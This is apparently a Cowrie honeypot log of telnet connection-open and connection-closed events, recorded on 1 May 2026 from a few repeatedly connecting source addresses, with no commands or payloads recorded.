{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34312,"dst_ip":"10.17.0.5","dst_port":23,"session":"c45a6a7f3bcf","protocol":"telnet","message":"New connection: 208.115.200.90:34312 (10.17.0.5:23) [session: c45a6a7f3bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:58.237916Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34320,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e4fcdf14525","protocol":"telnet","message":"New connection: 208.115.200.90:34320 (10.17.0.5:23) [session: 2e4fcdf14525]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:58.338749Z"}
{"eventid":"cowrie.session.closed","duration":31.06237268447876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:59.151508Z","src_ip":"208.115.200.90","session":"4df76e6ba31e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961533069610596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:59.157829Z","src_ip":"208.115.200.90","session":"44c0d32961b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46178,"dst_ip":"159.203.135.109","dst_port":23,"session":"49f0138e69cc","protocol":"telnet","message":"New connection: 192.119.108.58:46178 (159.203.135.109:23) [session: 49f0138e69cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:59.530425Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34322,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab609f6c9856","protocol":"telnet","message":"New connection: 208.115.200.90:34322 (10.17.0.5:23) [session: ab609f6c9856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:59.794251Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":46714,"dst_ip":"159.203.135.109","dst_port":23,"session":"64590e25b693","protocol":"telnet","message":"New connection: 192.119.108.58:46714 (159.203.135.109:23) [session: 64590e25b693]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:18:59.984274Z"}
{"eventid":"cowrie.session.closed","duration":30.55364680290222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:00.216705Z","src_ip":"208.115.200.90","session":"170ebed8877f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45944,"dst_ip":"159.203.135.109","dst_port":23,"session":"593fe3698bab","protocol":"telnet","message":"New connection: 192.119.108.58:45944 (159.203.135.109:23) [session: 593fe3698bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:00.327162Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34332,"dst_ip":"10.17.0.5","dst_port":23,"session":"924f18c5eb07","protocol":"telnet","message":"New connection: 208.115.200.90:34332 (10.17.0.5:23) [session: 924f18c5eb07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:00.373003Z"}
{"eventid":"cowrie.session.closed","duration":31.109086513519287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:00.425049Z","src_ip":"208.115.200.90","session":"d274d9d4c085","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47616,"dst_ip":"159.203.135.109","dst_port":23,"session":"573ff503b7d4","protocol":"telnet","message":"New connection: 192.119.108.58:47616 (159.203.135.109:23) [session: 573ff503b7d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:00.806156Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47900,"dst_ip":"159.203.135.109","dst_port":23,"session":"7961133197b7","protocol":"telnet","message":"New connection: 192.119.108.58:47900 (159.203.135.109:23) [session: 7961133197b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:01.080437Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca3368de9206","protocol":"telnet","message":"New connection: 192.119.108.58:47948 (159.203.135.109:23) [session: ca3368de9206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:01.137364Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45266,"dst_ip":"159.203.135.109","dst_port":23,"session":"206da399bd2c","protocol":"telnet","message":"New connection: 192.119.108.58:45266 (159.203.135.109:23) [session: 206da399bd2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:01.655800Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48500,"dst_ip":"159.203.135.109","dst_port":23,"session":"b03a21989854","protocol":"telnet","message":"New connection: 192.119.108.58:48500 (159.203.135.109:23) [session: b03a21989854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:01.682685Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48908,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d97b194465c","protocol":"telnet","message":"New connection: 192.119.108.58:48908 (159.203.135.109:23) [session: 0d97b194465c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.085368Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51082,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fa5c575d90e","protocol":"telnet","message":"New connection: 162.241.141.97:51082 (159.203.135.109:23) [session: 6fa5c575d90e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.096239Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":48994,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f7f101d3aad","protocol":"telnet","message":"New connection: 192.119.108.58:48994 (159.203.135.109:23) [session: 1f7f101d3aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.216786Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51324,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab27b008eda0","protocol":"telnet","message":"New connection: 162.241.141.97:51324 (159.203.135.109:23) [session: ab27b008eda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.238806Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":51360,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a5818db904","protocol":"telnet","message":"New connection: 162.241.141.97:51360 (159.203.135.109:23) [session: 31a5818db904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.260449Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52016,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b3dd3ee2882","protocol":"telnet","message":"New connection: 162.241.141.97:52016 (159.203.135.109:23) [session: 3b3dd3ee2882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.460962Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52156,"dst_ip":"159.203.135.109","dst_port":23,"session":"055d9a8bb684","protocol":"telnet","message":"New connection: 162.241.141.97:52156 (159.203.135.109:23) [session: 055d9a8bb684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.564053Z"}
{"eventid":"cowrie.session.closed","duration":30.96729040145874,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.632511Z","src_ip":"208.115.200.90","session":"bcfa8a827e65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.637967348098755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.707995Z","src_ip":"208.115.200.90","session":"db869d1bd0a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":52868,"dst_ip":"159.203.135.109","dst_port":23,"session":"83cc15984627","protocol":"telnet","message":"New connection: 162.241.141.97:52868 (159.203.135.109:23) [session: 83cc15984627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:02.789294Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":49516,"dst_ip":"159.203.135.109","dst_port":23,"session":"daf6bb013025","protocol":"telnet","message":"New connection: 192.119.108.58:49516 (159.203.135.109:23) [session: daf6bb013025]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:03.615359Z"}
{"eventid":"cowrie.session.closed","duration":31.029111623764038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:03.780261Z","src_ip":"162.241.141.97","session":"eb0024f2a7ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.363723039627075,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:04.069632Z","src_ip":"192.119.108.58","session":"74baa8f4eb11","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47872,"dst_ip":"159.203.135.109","dst_port":23,"session":"6130bc2a1a8e","protocol":"telnet","message":"New connection: 192.119.108.58:47872 (159.203.135.109:23) [session: 6130bc2a1a8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:04.086950Z"}
{"eventid":"cowrie.session.closed","duration":30.882275104522705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:04.240580Z","src_ip":"208.115.200.90","session":"1f720098e40c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.186408042907715,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:04.247904Z","src_ip":"208.115.200.90","session":"fb89fb9b3f67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":50496,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bda4214643d","protocol":"telnet","message":"New connection: 192.119.108.58:50496 (159.203.135.109:23) [session: 9bda4214643d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:04.515088Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":52124,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f3e55510047","protocol":"telnet","message":"New connection: 192.119.108.58:52124 (159.203.135.109:23) [session: 4f3e55510047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:04.853541Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53462,"dst_ip":"159.203.135.109","dst_port":23,"session":"682b5dbd1815","protocol":"telnet","message":"New connection: 192.119.108.58:53462 (159.203.135.109:23) [session: 682b5dbd1815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:05.901201Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53528,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae32faf4daf8","protocol":"telnet","message":"New connection: 192.119.108.58:53528 (159.203.135.109:23) [session: ae32faf4daf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:05.947440Z"}
{"eventid":"cowrie.session.closed","duration":30.73064088821411,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.038116Z","src_ip":"208.115.200.90","session":"69386d9dccb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40580,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a9630819538","protocol":"telnet","message":"New connection: 208.115.200.90:40580 (10.17.0.5:23) [session: 0a9630819538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.053421Z"}
{"eventid":"cowrie.session.closed","duration":30.2245991230011,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.063050Z","src_ip":"192.119.108.58","session":"e80e9da2f6d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.345329761505127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.096077Z","src_ip":"192.119.108.58","session":"eb6503b86573","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02199077606201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.106662Z","src_ip":"208.115.200.90","session":"144985d89f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80890440940857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.177904Z","src_ip":"208.115.200.90","session":"674a4ad6c426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57814335823059,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.295517Z","src_ip":"208.115.200.90","session":"296e5eddbe1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.701976776123047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:06.653724Z","src_ip":"192.119.108.58","session":"43da42a2497a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43532919883728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.056271Z","src_ip":"208.115.219.122","session":"2794a79e092d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69786047935486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.068354Z","src_ip":"192.119.108.58","session":"e71f8a97c271","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":53660,"dst_ip":"159.203.135.109","dst_port":23,"session":"9237391a795f","protocol":"telnet","message":"New connection: 192.119.108.58:53660 (159.203.135.109:23) [session: 9237391a795f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.073509Z"}
{"eventid":"cowrie.session.closed","duration":30.373862743377686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.092752Z","src_ip":"192.119.108.58","session":"fe8692e4483c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55086,"dst_ip":"159.203.135.109","dst_port":23,"session":"eed50f740681","protocol":"telnet","message":"New connection: 192.119.108.58:55086 (159.203.135.109:23) [session: eed50f740681]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.203769Z"}
{"eventid":"cowrie.session.closed","duration":31.083677053451538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.326409Z","src_ip":"192.119.108.58","session":"321ca862f7be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.549543857574463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.400765Z","src_ip":"192.119.108.58","session":"5e69897f9821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":59734,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee26cd3e88de","protocol":"telnet","message":"New connection: 162.241.141.97:59734 (159.203.135.109:23) [session: ee26cd3e88de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.694544Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":55980,"dst_ip":"159.203.135.109","dst_port":23,"session":"964d1c3f1a04","protocol":"telnet","message":"New connection: 192.119.108.58:55980 (159.203.135.109:23) [session: 964d1c3f1a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:07.870579Z"}
{"eventid":"cowrie.session.closed","duration":30.78717303276062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:08.060690Z","src_ip":"192.119.108.58","session":"25f826ad2ba3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.504826068878174,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:08.116781Z","src_ip":"162.241.141.97","session":"8b4b394a8ba0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.611642360687256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:08.613565Z","src_ip":"192.119.108.58","session":"f3e3fbb13697","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.99295449256897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:08.676552Z","src_ip":"208.115.200.90","session":"8f14f11f44db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":34442,"dst_ip":"159.203.135.109","dst_port":23,"session":"279118863f93","protocol":"telnet","message":"New connection: 162.241.141.97:34442 (159.203.135.109:23) [session: 279118863f93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:08.700276Z"}
{"eventid":"cowrie.session.closed","duration":31.693479776382446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:08.713419Z","src_ip":"192.119.108.58","session":"dcb0b9f1b571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35328,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea2258c5f501","protocol":"telnet","message":"New connection: 162.241.141.97:35328 (159.203.135.109:23) [session: ea2258c5f501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:08.957848Z"}
{"eventid":"cowrie.session.closed","duration":30.534177541732788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:09.092551Z","src_ip":"192.119.108.58","session":"c4d581913b9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760419607162476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:09.097260Z","src_ip":"192.119.108.58","session":"4f966d7b49e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36966,"dst_ip":"159.203.135.109","dst_port":23,"session":"4009e600ef41","protocol":"telnet","message":"New connection: 162.241.141.97:36966 (159.203.135.109:23) [session: 4009e600ef41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:09.461345Z"}
{"eventid":"cowrie.session.closed","duration":31.40898823738098,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:09.664660Z","src_ip":"192.119.108.58","session":"741475cb6c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58236598968506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:10.118968Z","src_ip":"192.119.108.58","session":"8bc5d9d336b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85008454322815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:10.238732Z","src_ip":"192.119.108.58","session":"3ef0222f9614","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":36278,"dst_ip":"159.203.135.109","dst_port":23,"session":"64096e4dbf4e","protocol":"telnet","message":"New connection: 162.241.141.97:36278 (159.203.135.109:23) [session: 64096e4dbf4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:10.265576Z"}
{"eventid":"cowrie.session.closed","duration":30.853673934936523,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:10.550212Z","src_ip":"208.115.200.90","session":"262a0a075a44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64923334121704,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:11.053083Z","src_ip":"192.119.108.58","session":"bfc42dd18a06","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80074644088745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:11.072909Z","src_ip":"192.119.108.58","session":"c533c4778a6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":35650,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3ffccced9db","protocol":"telnet","message":"New connection: 162.241.141.97:35650 (159.203.135.109:23) [session: d3ffccced9db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:11.095438Z"}
{"eventid":"cowrie.session.closed","duration":31.229758501052856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:11.620136Z","src_ip":"192.119.108.58","session":"c67b95274fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57286,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2d3492bfe53","protocol":"telnet","message":"New connection: 192.119.108.58:57286 (159.203.135.109:23) [session: a2d3492bfe53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:11.994786Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57428,"dst_ip":"159.203.135.109","dst_port":23,"session":"34f441f2aa20","protocol":"telnet","message":"New connection: 192.119.108.58:57428 (159.203.135.109:23) [session: 34f441f2aa20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:12.122618Z"}
{"eventid":"cowrie.session.closed","duration":31.17507839202881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:13.392675Z","src_ip":"208.115.200.90","session":"59baade5110d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33292,"dst_ip":"159.203.135.109","dst_port":23,"session":"5540a46e0c20","protocol":"telnet","message":"New connection: 192.119.108.58:33292 (159.203.135.109:23) [session: 5540a46e0c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:13.562877Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42094,"dst_ip":"159.203.135.109","dst_port":23,"session":"5855c16e37fd","protocol":"telnet","message":"New connection: 162.241.141.97:42094 (159.203.135.109:23) [session: 5855c16e37fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:13.865078Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42164,"dst_ip":"159.203.135.109","dst_port":23,"session":"440cdb06fffb","protocol":"telnet","message":"New connection: 162.241.141.97:42164 (159.203.135.109:23) [session: 440cdb06fffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:13.935003Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42202,"dst_ip":"159.203.135.109","dst_port":23,"session":"28410242bb53","protocol":"telnet","message":"New connection: 162.241.141.97:42202 (159.203.135.109:23) [session: 28410242bb53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:13.962086Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.141.97","src_port":42208,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc0240158755","protocol":"telnet","message":"New connection: 162.241.141.97:42208 (159.203.135.109:23) [session: fc0240158755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:13.968446Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33726,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9e6c4c9e21","protocol":"telnet","message":"New connection: 192.119.108.58:33726 (159.203.135.109:23) [session: 3c9e6c4c9e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:19:14.008296Z"}
